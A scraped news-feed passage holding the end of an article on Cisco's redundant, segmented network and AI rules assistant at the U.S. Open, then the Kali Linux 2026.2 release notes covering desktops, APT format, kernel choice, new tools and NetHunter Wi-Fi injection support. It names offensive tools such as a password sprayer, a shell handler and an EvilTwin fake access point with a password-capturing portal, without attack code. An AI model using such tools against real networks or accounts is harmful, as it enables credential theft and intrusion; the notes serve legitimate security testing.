<p>Cisco’s answer to this environment is a fully redundant, mobile core design. Instead of a single large core in a building, the network collapses into dual trailers that serve as cores on the go, typically anchored at the NBC broadcast compound and another central location. Each core hosts Cisco Secure Firewall appliances, FMCs, core Catalyst switches, DHCP, UPS, and generators, all in pairs. Rodriguez was matter-of-fact about the philosophy: “We do everything in pairs as much as we can.” If one fails, its twin picks up the load.</p>



<p>From those cores, the team builds a ring topology around the course, using diverse fiber paths — including trenching fiber through wooded areas — to avoid single points of failure. Mobile IDF kits in cooled cabinets serve as distribution points, delivering connectivity to weatherproof access switches and Wi-Fi access points around hospitality tents, grandstands, and entry gates. Everything on the backbone operates at Layer 3, with HSRP (Hot Standby Routing Protocol) and routing redundancy to ensure that a single switch failure doesn’t take out large swaths of the network.</p>



<p>The scale of a golf course deployment is massive as well, with about 500 access points and more than 100 switches, many of them the latest <a href="https://www.networkworld.com/article/4135351/favorable-wi-fi-7-prices-wont-be-around-for-long-delloro-group-warns.html">Wi‑Fi 7</a> and campus platforms. What matters is not the absolute numbers but the duty cycle. Every TV, every POS terminal, every credential pedestal, every media workstation, and every fan device share this converged fabric during a compressed, high‑risk period. Santora points out the business impact in simple terms: If merchandise goes down for even five minutes, lines explode and fans walk away. There’s no “we’ll patch it on the next maintenance window.”</p>



<p>On the RF side, the <a href="https://www.networkworld.com/article/4092389/singapore-makes-the-leap-to-wi-fi-7-to-boost-fan-experience.html">shift to Wi‑Fi 7</a> is more than a speed upgrade. Santora’s team has seen real-world performance improvements — hundreds of megabits down in the middle of a packed media center – but the more important change is resilience under high density. When you combine wider channels, better scheduling, and smarter management with a dense deployment, you get something that can withstand the Tiger Effect and the crush of content creators and broadcasters.</p>



<p>That last group is critical. Rob Neumann from Cisco notes that at these events, upload traffic now dominates download traffic. Influencers, media teams, and fans are publishing in near-real time, and cellular uplink simply can’t keep up. High-capacity Wi-Fi with solid backhaul isn’t a luxury; it’s the only way to avoid a miserable experience for the most vocal, visible part of the audience.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="894" height="1024" sizes="auto, (max-width: 894px) 100vw, 894px"&gt;</figure><p class="imageCredit">Zeus Kerravala</p></div>



<h2 class="wp-block-heading">Security: Treat every device as untrusted</h2>



<p>If the connectivity story feels familiar, the security posture at the U.S. Open is where this deployment begins to diverge from more generic “converged stadium” narratives. Santora has to contend with “thousands of untrusted devices” each championship week: fans, vendors, media, broadcasters, and staff, many of whom plug in or connect to networks the USGA doesn’t control outside the event. The USGA is well aware of the risks: outages or breaches could lead to data and financial losses, as well as reputational damage that would undermine the organization’s core mission, not just its IT metrics.</p>



<p>Cisco Secure Firewall, AnyConnect, Duo, and other components form the core security stack, but how they’re used is the differentiator. Fan Wi‑Fi runs with strict isolation: every client is segmented, so lateral movement is essentially off the table. Neumann explains it simply — each fan has an isolated path out — but under the covers, you get VLAN separation, policy enforcement, and inspection that treat fan traffic as untrusted end-to-end.</p>



<p>The rest of the network is equally segmented. There’s a separate network for <a href="https://www.pgatour.com/shotlink">ShotLink</a> and everything “inside the ropes,” including scoring and betting feeds. Back-of-house traffic for staff, concessions, and retail runs on its own network. Remote POS systems are segmented again. Broadcast compounds and production systems have their own paths and policies. The result is a unified, converged physical fabric with tightly controlled logical overlays.</p>



<p>This is a pattern many enterprises discuss but struggle to implement: a single platform that carries many classes of traffic, each with its own risk profile, without collapsing into a flat, lateral-friendly network. The U.S. Open shows that it’s possible — but only if segmentation is treated as a core design principle, not an afterthought.</p>



<h2 class="wp-block-heading">Observability and AI security in the loop</h2>



<p>Security and availability at this scale demand observability. Here again, Santora’s team is in the middle of a transition many enterprises are grappling with: moving from reactive log-scraping to proactive, correlated telemetry.</p>



<p>Instead of manually combing through firewall and switch logs, the USGA and Cisco have built a pipeline into Splunk and Cisco’s observability tools. Neumann describes it as a single pane of glass across the network, but the more important point is what feeds that view: APs, switches, firewalls, cameras, and applications, all instrumented and reporting. When you combine that with full-stack observability, you can spot anomalies in real time, whether they’re performance issues or indicators of compromise.</p>



<p>That observability story extends to AI. One of the headline features of the renewed Cisco–USGA partnership is the AI-powered rules assistant: an application that lets golfers and fans ask complex rules questions in the USGA app and receive near-instant guidance. Under the hood, Santora’s team started with question–answer pairs and built a knowledge graph that now spans hundreds of topics and clusters. They also built an evaluation program that identifies outliers — questions the system struggles with — and feeds them back into human review.</p>



<p>Cisco AI Defense wraps the assistant with security controls. It’s not enough to get rules right; the system must resist prompt injection, data exfiltration, and other AI-specific threats that are increasingly appearing in the wild. The teams monitor usage, validate models, and protect applications at runtime against misuse or abuse. Perhaps most importantly, they keep a human override in place. If the system isn’t confident, it won’t answer; it escalates to rules experts rather than bluffing.</p>



<p>This is a model network engineers should watch as AI assistants and agents proliferate across other industries. The U.S. Open rules assistant isn’t treated as a toy or a sidecar; it’s a mission-critical application that resides within the same protected fabric as POS, scoring, and broadcast and is subject to the same observability and security rigor.</p>



<h2 class="wp-block-heading">Lessons for network engineers beyond golf</h2>



<p>Strip away the golf-specific details, and a set of lessons emerges:</p>



<ul class="wp-block-list">
<li><strong>Design for tough, not ease.</strong> Assume transient structures, unknown RF patterns, seasonal layout changes, and harsh environmental conditions. The U.S. Open team rebuilds from scratch for each venue; most enterprises don’t need to go that far, but they should at least validate designs against real-world changes rather than assuming a static topology.</li>



<li><strong>Make redundancy systemic.</strong> Dual cores, dual firewalls, ring topologies, HSRP, Layer 3 everywhere, spare hardware on site, and live failover drills are all part of the fabric. Redundancy isn’t a checkbox on a data sheet; it’s an operational discipline.</li>



<li><strong>Treat every device as untrusted.</strong> Fan devices, vendor systems, broadcast laptops, and staff phones all arrive with unknown posture. Segmentation — per-client isolation, dedicated networks for sensitive functions, and strong identity — is the only sustainable way to cope with that diversity.</li>



<li><strong>Upload is the new download.</strong> Traditional designs optimized for download traffic are increasingly misaligned with reality. Conferences, stadiums, and campuses now behave like the U.S. Open: content creators and collaborative apps push far more data than they pull. Wi-Fi 7 and modern campus platforms help, but you still need to design RF and backhaul with upload and lateral traffic in mind.</li>



<li><strong>Integrate observability and AI security from day one.</strong> Logs alone aren’t enough. Coherent telemetry, full-stack observability, and AI-focused security controls should be treated as first-class requirements, especially as AI assistants move into business-critical workflows.</li>
</ul>



<h2 class="wp-block-heading">Final thoughts</h2>



<p>Perhaps the most important takeaway is cultural rather than technical. Santora and his team position AI and automation as tools for scale, not as replacements for experts. The rules assistant accelerates responses and expands reach, but it still defers to human judgment when confidence is low. The network uses automation and observability to keep a complex environment running, but it still depends on experienced engineers, in trailers on-site, watching for issues and making decisions.</p>



<p>For network engineers in other industries, that’s a useful template: Build AI-ready, secure, observable networks that assume the worst about their environment, and pair them with human expertise that can adapt when reality inevitably diverges from the design.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="673" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">Zeus Kerravala</p></div>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kali Linux 2026.2 Release (GNOME 50, KDE 6.6, Helper Scripts, APT Formats & VM Boot Tweaking)]]></title>
<description><![CDATA[It’s the final week of Q2, and Kali Linux 2026.2 is here - right on schedule ;) We have been heads down since our last release, and we are ready to share what we have been working on. This release is a mix of desktop refreshes, infrastructure improvements, and quality-of-life changes that we thin...]]></description>
<link>https://tsecurity.de/de/3633508/tools/kali-linux-20262-release-gnome-50-kde-66-helper-scripts-apt-formats-vm-boot-tweaking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633508/tools/kali-linux-20262-release-gnome-50-kde-66-helper-scripts-apt-formats-vm-boot-tweaking/</guid>
<pubDate>Mon, 29 Jun 2026 18:25:00 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>It’s the final week of Q2, and Kali Linux 2026.2 is here - right on schedule ;) We have been heads down since our last release, and we are ready to share what we have been working on. This release is a mix of desktop refreshes, infrastructure improvements, and quality-of-life changes that we think you will appreciate.</p>
<p>The summary of the <a href="https://bugs.kali.org/changelog_page.php">changelog</a> since the <a href="https://www.kali.org/blog/kali-linux-2026-1-release/">2026.1 release from March</a> is:</p>
<ul>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#desktop-environments-updates">Desktop Environments</a></strong> - Bump to GNOME 50 and KDE Plasma 6.6</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#improved-consistency-for-services-helper-scripts">Helper Scripts Consistency</a></strong> - Consistency to our little launches at starting services</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#apt-gets-a-new-sources-format">APT Format</a></strong> - Goodbye <code>sources.list</code>, hello <code>sources.list.d/kali.source</code></li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#no-more-graphics-firmware-pre-installed-for-vm-use-cases">VM Boot Optimisation</a></strong> - Smaller initrd + faster boot times = happy virtual machine users</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#disruptive-package-updates">Reboot Warning</a></strong> - Heads-up, <code>polkit</code> and <code>xrdp</code> upgrades require a system reboot</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#linux-kernel-for-this-release-619">Kali Kernel Incoming</a></strong> - Staying with 6.19 for now, how to get 7.0 early</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#a-sneak-peek-build-scripts">Build Scripts Incoming</a></strong> - Heads-up with some changing on the way</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#new-tools-in-kali">New Tools</a></strong> - As always, various new shiny packages have been added <em>(9!)</em></li>
</ul>
<hr>
<h2>Desktop Environments Updates</h2>
<p>As we do roughly every six months, every other Kali release, our <a href="https://www.kali.org/docs/general-use/switching-desktop-environments/">desktop environments</a> get a major update. This time it’s for: <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#gnome-50">GNOME</a> and <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#kde-plasma-6-6">KDE Plasma</a>. Neither brings sweeping changes, but both have put real effort into <strong>refining performance and usability</strong> across the whole ecosystem.</p>
<h3>GNOME 50</h3>
<p>GNOME 50 brings usability and performance improvements across the desktop. The <strong>file manager received significant optimizations</strong>, resulting in faster thumbnail and icon loading, improved responsiveness, and reduced memory usage. The desktop also received new accessibility enhancements through a brand-new preferences window, tweaks to the screen reader, and automatic language switching.</p>
<p>Another addition is <strong>support for document annotations</strong> in the Document Viewer app, making it easier to add text notes and highlights directly to documents.</p>
<p>Here you can read more about all the changes with this new GNOME release: <a href="https://release.gnome.org/50/">GNOME 50 release announcement</a>.</p>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/gnome-50.png" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/gnome-50.png" alt="Kali + GNOME 50">
</a>
</p>

<h3>KDE Plasma 6.6</h3>
<p>KDE Plasma 6.6 focuses on improving usability and accessibility while introducing several new features, including a <strong>new on-screen keyboard</strong>, providing a better experience particularly for touch-enabled devices.</p>
<p>The <strong>Spectacle screenshot utility can now recognize and extract text</strong> directly from screenshots, making OCR functionality available from the desktop. Accessibility has also been enhanced with new color-vision support options, improvements to Zoom and Magnifier, support for Slow Keys on Wayland, and adoption of the standardized Reduced Motion setting.</p>
<p>Here you can read more about all the changes with this new Plasma release: <a href="https://kde.org/announcements/plasma/6/6.6.0/">KDE Plasma 6.6 release announcement</a>.</p>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/kde-6.6.png" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/kde-6.6.png" alt="Kali + KDE Plasma 6.6">
</a>
</p>

<h2>Improved Consistency For Services Helper Scripts</h2>
<p>To improve consistency across tools that depend on a service, we have updated our helper scripts. Previously, a tool that required a service might only let you start it (with no way to stop) - and the information displayed back was inconsistent (mixture of service status, how to access, default credentials or nothing at all). With this change, multiple packages have been updated to use these new scripts, which now handle the following tasks:</p>
<ul>
<li>Manage the service - <strong>start/stop</strong></li>
<li><strong>Check if the service is already running</strong> - avoiding starting it twice</li>
<li>Show the <strong>service status</strong></li>
<li>Show any <strong><a href="https://www.kali.org/docs/introduction/default-credentials/">default credentials</a></strong></li>
<li>Show <strong>how to access it</strong> - such as if it’s a web UI, the URL <em>(and bonus, <strong>automatically open it in the browser</strong>!)</em></li>
</ul>
<p>We also make sure that any Kali packages which include a service use <strong><code>&lt;tool&gt;-start</code></strong>/<strong><code>&lt;tool&gt;-stop</code></strong> for their command names.</p>
<p><em>Hopefully this makes the little things a little easier.</em></p>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/kali-services.png" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/kali-services.png" alt="Kali Services Helper Scripts">
</a>
</p>

<h2>APT Gets A New Sources Format</h2>
<p>Since the beginning of time, the APT sources for Kali Linux were configured in the file <code>/etc/apt/sources.list</code>. This file tells APT from where to update your system, and it’s so fundamental that pretty much everyone (that is, Kali users) knows this file and its content:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ cat /etc/apt/sources.list
# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware
</code></pre>
<p>Well, it’s a <strong>“once in a distro lifetime” kind of thing, and here it is</strong> - <code>/etc/apt/sources.list</code> is retired, in favor of the new file <code>/etc/apt/sources.list.d/kali.sources</code>:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ cat /etc/apt/sources.list.d/kali.sources
# See https://www.kali.org/docs/general-use/kali-apt-sources/
Types: deb
URIs: http://http.kali.org/kali/
Suites: kali-rolling
Components: main contrib non-free non-free-firmware
Signed-By: /usr/share/keyrings/kali-archive-keyring.gpg
</code></pre>
<p><strong>All the freshly-installed systems will be configured</strong> as such. <strong>Existing systems won’t be changed</strong>. Both files are equivalent and work just the same. However, in the near future, APT will warn if the old file is in use, and will suggest modernizing it.</p>
<p>Note that, for those in the know, this isn’t anything new: both formats have existed for a long time now, and you could use either one or the other. What’s happening is that the <em>default</em> is slowly changing, from the <strong>old “one-line-style”</strong> to the <strong>new “deb822-style”</strong>. This is happening in Debian and in Debian-derivatives like Ubuntu. Kali is just following suit.</p>
<p>And for the curious, there’s a very complete and detailed manual page:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ man sources.list
</code></pre>
<h2>No More Graphics Firmware Pre-installed For VM Use-cases</h2>
<p>Kali has had a long tradition of pre-installing a lot of firmware in its images. The upside is that users didn’t need to know what firmware they needed to install for their hardware to work: it was already there. And the downside, obviously, was that all the firmware that wasn’t needed was nevertheless installed and taking space for nothing. </p>
<p>It worked for us so far, in the sense that we don’t get too many bug reports related to missing firmware. But lately the changing landscape of <em>graphics firmware</em> forced us to re-evaluate this decision.</p>
<p>The issue with graphics firmware is that it just keeps growing bigger, and right now having it installed for <a href="https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/">NVidia</a>, AMD and Intel GPUs takes almost 300 MB. But what’s even worse: some bits and pieces of these firmware packages need to be loaded very early, and therefore they are also installed in the initrd (note: the initrd, or initramfs, is this “minimal” system that is loaded early on by the kernel at boot time). And lately, the Kali initrd peaked at around 200 MB, mainly due to graphics firmware. What does that mean in practice? A bigger initrd means slower boot time, and can potentially fill up your <code>/boot</code> partition if ever it’s too small.</p>
<p>So we thought we could improve the situation for VM users here: the vast majority probably don’t need graphics firmware, ever. The only use-case we can think of is a VM with a dedicated GPU + GPU passthrough enabled. If you’re in this case, you might need graphics firmware.</p>
<p>So, what changed in practice, you may ask?</p>
<ul>
<li><strong><a href="https://www.kali.org/get-kali/#kali-virtual-machines">Pre-built VM images</a> don’t come with graphics firmware anymore</strong></li>
<li><a href="https://www.kali.org/get-kali/#kali-installer-images"><strong>Installer images</strong></a> now detect if installation happens <strong>in a VM</strong>, and in that case <strong>graphics firmware is not installed</strong></li>
</ul>
<p>As a result, the <strong>initrd is down to 60 MB for VM users, and the boot time is cut by ~3x</strong> (tested for QEMU VM on a Linux host, your mileage may vary). That’s a massive improvement in boot time.</p>
<p>For baremetal users: nothing changed, so you still get a 200 MB initrd with all graphics firmware pre-installed. If you’d like to optimize, it’s on you to uninstall the firmware that you don’t need. A word of caution though: make sure to know what you’re doing, because removing graphics firmware that is <em>needed</em> might leave you with a <a href="https://www.kali.org/docs/troubleshooting/graphics-issues-on-bare-metal-installation/">system without graphics after reboot</a>.</p>
<h2>Disruptive Package Updates</h2>
<p>We’ve got some slightly disruptive updates in this release.</p>
<p><strong>polkit: a reboot is required</strong></p>
<p>The update of the <code>polkitd</code> package requires a reboot, otherwise <em>trying to start GUI applications as root will fail with cryptic error messages</em>.</p>
<p>There’s an indication of this <strong>reboot requirement</strong> in the output of <code>apt full-upgrade</code>, when the <code>polkitd</code> package is updated. It’s just <strong>not very obvious</strong>, the hint is buried with the rest of the logs:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;&amp; sudo apt full-upgrade
[...]
Setting up libpolkit-gobject-1-0:amd64 (127+really127-0kali1)…
Setting up libpolkit-agent-1-0:amd64 (127+really127-0kali1)…
Setting up polkitd (127+really127-0kali1)…
Upgrading to this polkitd version requires a reboot, please reboot the system when convenient.
Created symlink '/etc/systemd/system/sockets.target.wants/polkit-agent-helper.socket' → '/usr/lib/systemd/system/polkit-agent-helper.socket'.
[...]
</code></pre>
<p>After a reboot, and if ever you still can’t run applications as root, make sure that <code>polkit-agent-helper</code> is started:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo systemctl enable --now polkit-agent-helper.socket
</code></pre>
<p>If you’re still having issues, reach out on our <a href="https://bugs.kali.org/">bug tracker</a>.</p>
<hr>
<p><strong>xrdp: a reboot is required</strong></p>
<p>In this Kali release, we updated <code>xrdp</code> and <code>xorgxrdp</code> to the <code>v0.10</code> series. <a href="https://www.kali.org/docs/general-use/xfce-with-rdp/">xrdp</a> is an open-source Remote Desktop Protocol server: you might use it if you connect to your Kali instance remotely. <em>If you’re an xrdp user, you’ll need to reboot after this upgrade</em>.</p>
<p>For those who run Kali in Hyper-V, using the <a href="https://www.kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/">Enhanced Session Mode</a>: you’re an xrdp user, even if you didn’t know it! We did our best to ensure a smooth transition, and yet we got reports that xrdp wasn’t functional after the upgrade. If ever you’re in this case, you can try to run <code>kali-tweaks</code>, and in the Virtualization section you can try to <strong>disable, and then enable again</strong> the Hyper-V Enhanced Session Mode. That might fix the issue. <strong>Don’t forget to reboot</strong>!</p>
<p>As always, if you’re still having issues after that, feel free to reach out on the <a href="https://bugs.kali.org/">Kali bug tracker</a>.</p>
<h2>Linux Kernel For This Release: 6.19</h2>
<p>Regarding the version of the <a href="https://pkg.kali.org/pkg/linux">Linux kernel</a> to include in this release of Kali, it’s been a tough decision.</p>
<p>On one hand, we’d like to release with the latest version of the Linux kernel, due to all the recent vulnerability disclosures (<a href="https://en.wikipedia.org/wiki/Copy_Fail">Copy Fail/CVE-2026-31431</a>, <a href="https://github.com/V4bel/dirtyfrag">Dirty Frag/CVE-2026-43284 &amp; CVE-2026-43500</a> and others ). On the other hand, when the 7.0 kernel reached Debian, there were <a href="https://bugs.debian.org/1135362">reports of incompatibilities with the NVidia DKMS drivers</a> .</p>
<p>We decided to release with a 6.19 kernel to avoid breaking <a href="https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/">NVidia users</a>. At the same time, for <strong>those who prefer to get the latest kernel</strong> and don’t care about NVidia compatibility, <strong>we have the kernel 7.0 ready for you in <code>kali-experimental</code></strong>. Make sure to check our documentation that explains <a href="https://www.kali.org/docs/general-use/kali-apt-sources/#enabling-kali-additional-branches">how to enable the kali-experimental repository</a>. The 7.0 kernel is also available in kali-rolling, so you can just <a href="https://www.kali.org/docs/general-use/updating-kali/">update your whole system</a> and get the latest packages from <a href="https://www.kali.org/docs/general-use/kali-branches/">kali-rolling</a>.</p>
<h2>A Sneak Peek: Build Scripts</h2>
<p>Our <a href="https://gitlab.com/kalilinux/build-scripts/">build scripts</a> are what we use to produce every Kali image - ARM SBCs, Base (Installer and live ISOs), Cloud, Containers, VMs, WSL &amp; NetHunter/Pro. Each lives in its own repo, and over time they have each grown in slightly different directions. For the next release, Kali 2026.3, we are doing <strong>a consistency pass across all of them: same structure, same conventions, same behaviour throughout</strong>.</p>
<p>As a result of these changes, some CI pipelines or workflows may need tweaking.</p>
<h2>New Tools in Kali</h2>
<p>This release brings <strong>9 new tools</strong> <em>(to the network repositories)</em>. As always, we have been busy adding to the arsenal:</p>
<ul>
<li><a href="https://www.kali.org/tools/arsenal-ng/">arsenal-ng</a> - Go-based command library equipped with 200+ cybersecurity cheat-sheets</li>
<li><a href="https://www.kali.org/tools/hydra/">hydra-gtk</a> - [Re-added] Very fast network logon cracker - GTK+ based GUI</li>
<li><a href="https://www.kali.org/tools/legba/">legba</a> - Multiprotocol credentials bruteforcer / password sprayer and enumerator</li>
<li><a href="https://www.kali.org/tools/oletools/">oletools</a> - Analyze MS OLE2 files and MS Office documents</li>
<li><a href="https://www.kali.org/tools/penelope/">penelope</a> - Powerful shell handler</li>
<li><a href="https://www.kali.org/tools/shell-gpt/">shell-gpt</a> - Command-line productivity tool powered by AI large language models</li>
<li><a href="https://www.kali.org/tools/tailscale/">tailscale</a> - Secure connectivity platform</li>
<li><a href="https://www.kali.org/tools/tookie-osint/">tookie-osint</a> - OSINT information gathering tool for finding social media accounts</li>
<li><a href="https://www.kali.org/tools/uro/">uro</a> - Declutter URLs for crawling/pentesting</li>
</ul>
<p><em>There has also been numerous packages updates and new libraries as well. We also bump the <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#linux-kernel-for-this-release-619">Kali kernel to 6.19</a>.</em></p>
<h2>Kali NetHunter Updates</h2>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/nethunter-eviltwin.jpg" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/nethunter-eviltwin.jpg" alt="Kali NetHunter EvilTwin">
</a>
</p>

<p>We have a tremendous amount of news for the lovers of mobile hacking! The <a href="https://store.nethunter.com/packages/com.offsec.nethunter/">Kali NetHunter app</a> <strong>launches instantly</strong> now, various <strong>bugs have been fixed</strong> with the <a href="https://www.kali.org/docs/nethunter/nethunter-custom-commands/">custom commands</a> and <a href="https://www.kali.org/docs/nethunter/nethunter-chroot-manager/">chroot manager</a> . A <strong>new EvilTwin</strong> (Wi-Fi Fake AP) tab has been added with password verification captive portal, <em>which brought along a really needed iptables fix</em>. So now after using <a href="https://www.kali.org/docs/nethunter/nethunter-wifipumpkin/">Wifipumpkin3</a> or EvilTwin, Android Hotspot will work properly. Huge thanks to the incredible work by <a href="https://gitlab.com/dr1408">@dr.rootsu</a>. The <a href="https://www.kali.org/docs/nethunter/nethunter-kernel/">kernel flasher tab</a> has also <strong>received a refresh</strong>.</p>
<p>However, this release’s spotlight is on the beginning of the <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#the-qcacld30-injection-story">Qcacld-3.0 injection patch</a> wave.</p>
<h3>The Qcacld3.0 Injection Story</h3>
<p>We finally came to a milestone, shout-out to all the developers that worked on injection through the <em>years</em>!</p>
<p><a href="https://gitlab.com/kimocoder">@kimocoder</a> easily spent more than anyone else on this goal. His original injection implementation came to life, on a specific device: the OnePlus Nord (AC2003). You can find the commit <a href="https://github.com/kimocoder/android_kernel_oneplus_avicii/commit/8eb5de1047e7bf069cb4de38c3a35489b35df189">here</a>. Then <a href="https://gitlab.com/Loukious">@Loukious</a> came in the mix and his modifications made it to work on other devices with <a href="https://github.com/Loukious/android_kernel_xiaomi_sm8150/commit/18c57c61ecd8f02de778e36db6be9b41167a8825">this port</a>. Finally, <a href="https://gitlab.com/cyberknight777">@cyberknight777</a> did some housekeeping, removed unnecessary changes, logging, and restored the correct authorship while attributing @Loukious as co-author. The result, <a href="https://github.com/Neternels/android_kernel_xiaomi_sunny/commit/1a4a7d313acc75cfca9a5e97673745d721b6ccea">this patch</a> is the <strong>almost universal</strong> one which brought many devices into the injection world, starting with the ones below for both kernel 4.x and 5.x versions:</p>
<ul>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-oneplus-7/">OnePlus 7</a> (LineageOS 23.2)</li>
<li>OnePlus 9 / 9 Pro</li>
<li>OnePlus Nord</li>
<li>POCO X3 Pro</li>
<li>Redmi Note 10</li>
<li>Samsung A73</li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-xiaomi-mi-a3/">Xiaomi Mi A3</a> (LineageOS 23.2)</li>
<li>Xiaomi Poco X3 NFC (PixelOS Android 16)</li>
<li>Xiaomi Redmi Note 8</li>
</ul>
<h3>Wifite On TV</h3>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/nethunter-wifite2-netflix-bloodhounds-s02e01.jpg" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/nethunter-wifite2-netflix-bloodhounds-s02e01.jpg" alt="Kali Wifite Netflix Bloodhounds S02E01">
</a>
</p>

<p>In the meantime, his continuous work on improving <a href="https://www.kali.org/tools/wifite/">wifite</a> caught some attention - spotted on Netflix twice. Not bad!</p>
<h3>Magisk Standalone Kernel Installer</h3>
<p>The kernel flasher tab <em>(still experimental on some devices)</em> is back in a new shape, giving a hint for the possible future look for the NetHunter app.</p>
<p>The <strong>Magisk standalone kernel flashing support is now here</strong> - you can simply open any newly built kernel installer zip in the Magisk app that was built using the <a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-installer">kali-nethunter-installer</a>.</p>
<h3>New Kernels</h3>
<p>In addition to the kernels that now support the qcacld3 injection, there are several <a href="https://nethunter.kali.org/kernels.html">new versions and phones</a>:</p>
<ul>
<li>Google Pixel 6a (LineageOS 23.2)</li>
<li>Redmi 5A (crDroid 14)</li>
<li>Samsung Note 20 Ultra (Android 13)</li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-samsung-galaxy-s10/">Samsung S10</a> (LineageOS 23.2)</li>
<li>Samsung S10 5G (LineageOS 23.2)</li>
<li>Samsung S10+ (LineageOS 23.2)</li>
<li>Samsung S10e (LineageOS 23.2)</li>
</ul>
<h3>NetHunter Pro</h3>
<p>Kali bare metal now on more phones! New devices added in build thanks to the awesome work by <a href="https://github.com/taygoth">@Max Furman</a>:</p>
<ul>
<li>Fairphone FP5 (QCM6490) (fp5)</li>
<li>Google Pixel 3 (SDM845) (blueline)</li>
<li>Google Pixel 3a (SDM670) (sargo)</li>
<li>Google Pixel 3a XL SDC panel (SDM670) (bonito-sdc)</li>
<li>Google Pixel 3a XL Tianma panel (SDM670) (bonito-tianma)</li>
<li>Google Pixel 4a (SDM730) (sunfish)</li>
<li>LG G7 ThinQ (SDM845) (judyln)</li>
<li>LG V35 ThinQ (SDM845) (judyp)</li>
<li>Samsung Galaxy S9 China (SDM845) (starqltechn)</li>
<li>SHIFTphone 8 (QCM6490) (otter)</li>
<li>Sony Xperia 10 III (SM6350) (pdx213)</li>
<li>Sony Xperia XZ2 (SDM845) (xperia-tama-apollo)</li>
<li>Sony Xperia XZ2 Compact (SDM845) (xperia-tama-akari)</li>
<li>Sony Xperia XZ2 Premium (SDM845) (xperia-tama-akatsuki)</li>
<li>Xiaomi Mi 10T Lite (SM7225) (toco)</li>
<li>Xiaomi Mi 9 Pro 5G (SM8150) (tucana)</li>
<li>Xiaomi Mi 9T Pro Samsung panel (SM8150) (davinci-samsung)</li>
<li>Xiaomi Mi 9T Pro Visionox panel (SM8150) (davinci-visionox)</li>
<li>Xiaomi Mi Mix 2S (SDM845) (polaris)</li>
<li>Xiaomi Poco X3 Huaxing panel (SM7150) (surya-huaxing)</li>
<li>Xiaomi Poco X3 Tianma panel (SM7150) (surya-tianma)</li>
<li>Xiaomi Redmi Note 10 Pro (SM7150) (sweet)</li>
</ul>
<h3>NetHunter Podcast Episode 3</h3>
<p><a href="https://gitlab.com/yesimxev">@yesimxev</a> and <a href="https://www.linkedin.com/in/kristopher-wilson-208b59123">@Kristopher Wilson</a> joined for a discussion about NetHunter in cars, and leveraging AI for Bug Bounty projects and more.</p>
<div>

</div>
<h2>Kali Website Updates</h2>
<p>Since our last release, Kali 2026.1, we have been keeping the website and documentation up-to-date. Here is a quick summary of what has changed.</p>
<h3>Kali Documentation</h3>
<p>Most of the <a href="https://www.kali.org/docs/">documentation</a> updates this cycle are around NetHunter device support and the new APT sources format. Pages which got something more than a tweak:</p>
<ul>
<li><a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">Creating A Custom Kali ISO</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/troubleshooting/handling-common-apt-errors/">Handling common APT problems</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-samsung-galaxy-s10/">Installing NetHunter on the Samsung Galaxy S10</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-ticwatch-pro-3/">Installing NetHunter on the TicWatch Pro 3</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-ticwatch-pro/">Installing NetHunter on the TicWatch Pro</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-xiaomi-mi-a2/">Installing NetHunter on the Xiaomi Mi A2</a> <em>(updated)</em></li>
